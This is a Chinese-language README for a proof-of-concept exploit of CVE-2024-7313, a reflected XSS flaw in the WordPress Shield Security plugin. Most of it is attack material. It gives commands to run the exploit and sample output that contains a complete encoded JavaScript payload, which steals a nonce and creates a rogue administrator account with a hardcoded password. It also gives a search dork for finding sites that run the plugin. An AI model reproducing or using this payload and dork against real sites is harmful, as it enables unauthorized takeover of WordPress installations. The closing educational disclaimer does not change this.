该仓库包含一个 Python PoC 脚本，用于利用 WordPress Shield Security 插件（20.0.6 以下版本）中的反射型 XSS 漏洞。该漏洞（CVE-2024-7313）允许攻击者创建一个针对目标的恶意链接，当管理员点击该链接时，漏洞会通过 XSS 创建一个未授权的管理员账户。该脚本自动检测易受攻击的安装环境，并生成用于利用漏洞的有效载荷。
requests 和 beautifulsoup4 库使用以下命令安装所需库：
pip install requests beautifulsoup4
git clone https://github.com/Wayne-Ker/CVE-2024-7313.git
cd CVE-2024-7313
python3 exploit.py <target_url>
示例：
python3 exploit.py http://127.0.0.1
输入新管理员用户的必要信息（用户名、邮箱、名字、姓氏）后，脚本将生成一个有效载荷 URL。您可以将此 URL 粘贴到浏览器中以执行反射型 XSS 攻击，从而在 WordPress 站点中创建一个新的管理员用户。
#############################################################################
# #
# #
# ______ _______ ____ ___ ____ _ _ _____ _____ _ _____ #
# / ___\ \ / | ____| |___ \ / _ |___ \| || | |___ |___ // |___ / #
# | | \ \ / /| _| _____ __) | | | |__) | || |_ _____ / / |_ \| | |_ \ #
# | |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ / ___) | |___) | #
# \____| \_/ |_____| |_____|\___|_____| |_| /_/ |____/|_|____/ #
# #
# Shield Security Plugin Vulnerability (CVE-2024-7313) #
# Reflected XSS in WordPress Shield Security Plugin #
# Versions Affected: < 20.0.6 #
# Risk: High #
# Developed by: Wayne-Kerr #
# Published: August 7, 2024 #
#############################################################################
Shield Security version is vulnerable. Let's continue.
Enter username: fakename
Enter email: [email protected]
Enter first name: Haxor
Enter last name: test
Using hardcoded password: HaxorStrongAFPassword123!!
Generated XSS Payload URL: http://127.0.0.1/wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub=%3Cscript%3Evar%20xhrNonce%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhrNonce.open%28%27GET%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhrNonce.onload%20%3D%20function%28%29%20%7B%20if%20%28xhrNonce.status%20%3D%3D%3D%20200%29%20%7B%20var%20nonce%20%3D%20xhrNonce.responseText.match%28/name%3D%22_wpnonce_create-user%22%20value%3D%22%28%5Ba-zA-Z0-9%5D%2B%29%22/%29%5B1%5D%3B%20var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhr.open%28%27POST%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhr.setRequestHeader%28%27Content-Type%27%2C%20%27application/x-www-form-urlencoded%27%29%3B%20xhr.setRequestHeader%28%27Referer%27%2C%20%27http%3A//127.0.0.1/wp-admin/user-new.php%27%29%3B%20xhr.setRequestHeader%28%27Origin%27%2C%20%27http%3A//127.0.0.1%27%29%3B%20var%20params%20%3D%20%27action%3Dcreateuser%26_wpnonce_create-user%3D%27%20%2B%20nonce%20%2B%20%27%26_wp_http_referer%3D%252Fwp-admin%252Fuser-new.php%26user_login%3Dnick%26email%3Dnick%2540test.com%26first_name%3Dnick%26last_name%3Dtest%26url%3Dtest%26pass1%3DHaxorStrongAFPassword123%2521%2521%26pass2%3DHaxorStrongAFPassword123%2521%2521%26role%3Dadministrator%26createuser%3DAdd%2BNew%2BUser%27%3B%20xhr.send%28params%29%3B%20xhr.onload%20%3D%20function%28%29%20%7B%20if%20%28xhr.status%20%3D%3D%20200%29%20%7B%20console.log%28%27Admin%20user%20created%20successfully%27%29%3B%20window.location.href%20%3D%20%27http%3A//127.0.0.1/wp-admin/admin.php%3Fpage%3Dicwp-wpsf-plugin%26nav%3Ddashboard%26nav_sub%3Doverview%27%3B%20%7D%20else%20%7B%20console.log%28%27Error%20occurred%3A%20%27%20%2B%20xhr.statusText%29%3B%20%7D%20%7D%3B%20%7D%20else%20%7B%20console.log%28%27Error%20fetching%20nonce%3A%20%27%20%2B%20xhrNonce.statusText%29%3B%20%7D%20%7D%3B%20xhrNonce.send%28%29%3B%3C/script%3E
一旦访问生成的有效载荷 URL，漏洞将被执行，目标 WordPress 站点上将创建一个新的管理员用户。
您可以通过运行以下命令访问帮助菜单：
python3 exploit.py -h
要识别使用该漏洞插件的网站，您可以使用以下 dork：
inurl:"/wp-content/plugins/wp-simple-firewall/"
这将帮助您找到安装了 Shield Security 插件的网站。请注意，版本号在公开场合不可见，因此可能需要进行手动测试。
wp-login.php 页面的响应，判断目标 WordPress 安装是否使用了易受攻击的 Shield Security 插件版本。此工具仅用于教育目的，并且只能在授权的渗透测试环境中使用。未经授权访问或使用不属于您的系统是违法的。作者不对本工具的任何滥用行为负责。
本项目采用 MIT 许可证。